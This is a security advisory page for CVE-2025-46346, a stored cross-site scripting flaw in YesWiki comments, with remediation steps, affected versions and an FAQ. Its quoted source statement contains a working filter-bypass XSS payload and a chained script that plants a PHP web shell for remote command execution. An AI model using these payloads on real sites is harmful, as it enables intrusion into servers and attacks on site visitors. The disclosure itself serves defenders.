CVE-2025-46346: Yeswiki/yeswiki Cross-Site Scripting Vulnerability

LOW
Advisory Identifier: GHSA-59x8-cvxh-3mm4
CWE-79
Published
Advisory Summary

CVE-2025-46346 is a LOW cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Yeswiki/yeswiki libraries in the Packagist ecosystem. The issue involves yeswiki stored xss vulnerability in comments. Remediation is available by upgrading affected packages to version 4.5.4.

CVE-2025-46346 at a Glance

CVE Identifier CVE-2025-46346
GHSA Identifier GHSA-59x8-cvxh-3mm4
Severity LOW
CVSS v3.1 Base Score N/A
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Yeswiki/yeswiki
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2025-46346

To remediate this vulnerability, upgrade all affected Yeswiki/yeswiki dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

yeswiki/yeswiki fixed: 4.5.4
Upgrade yeswiki/yeswiki to 4.5.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for yeswiki/yeswiki

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-46346, inspect your project dependencies for Yeswiki/yeswiki:

inspect dependencies for yeswiki/yeswiki

Analyze the terminal output to locate any version of Yeswiki/yeswiki in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Yeswiki/yeswiki, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A stored cross-site scripting (XSS) vulnerability was discovered in the application’s comments feature. This issue allows a malicious actor to inject JavaScript payloads that are stored and later executed in the browser of any user viewing the affected comment. The XSS occurs because the application fails to properly sanitize or encode user input submitted to the comments. Notably, the application sanitizes or does not allow execution of `<script>` tags, but does not account for payloads obfuscated using JavaScript block comments like `/* JavaScriptPayload */`. ### PoC Navigate to a site and page that allows comments and place this in the comments section and submit it: `/*<script>alert('pizzapower')</script>*/` Upon submitting to the page, it will run. And then upon every page visit, it will run. ### Impact An attacker can run arbitrary JS in the victim's browser (any user that visits the page with the comments). This can be chained to do many malicious actions, such as to achieve RCE when chained with another vulnerability, e.g.: ``` /*<script>fetch("/?api/templates/custom-presets/anhtyjik.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif"});</script>*/ ``` Then you can visit `http://localhost:8085/custom/css-presets/anhtyjik.php?cmd=id` and see the output of the ID command.

CVE-2025-46346 Affected Yeswiki/yeswiki Versions

1 component(s)
Fixed Versions:
4.5.4
Product / Package Ecosystem Affected Versions Fixed Version
yeswiki/yeswiki
Packagist
< 4.5.4
4.5.4

References

Frequently Asked Questions

What is CVE-2025-46346?
CVE-2025-46346 is a security vulnerability in Yeswiki/yeswiki involving YesWiki Stored XSS Vulnerability in Comments under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Yeswiki/yeswiki versions are affected?
Affected versions include releases prior to 4.5.4 across affected packages: yeswiki/yeswiki.
What version fixes CVE-2025-46346?
Upgrading to 4.5.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is yeswiki/yeswiki affected?
Yes, yeswiki/yeswiki is affected in releases prior to 4.5.4. Upgrade your dependency to 4.5.4 or later.
What CWE is associated with CVE-2025-46346?
CVE-2025-46346 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2025-46346?
Run the dependency tree command: 'inspect dependencies for yeswiki/yeswiki'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
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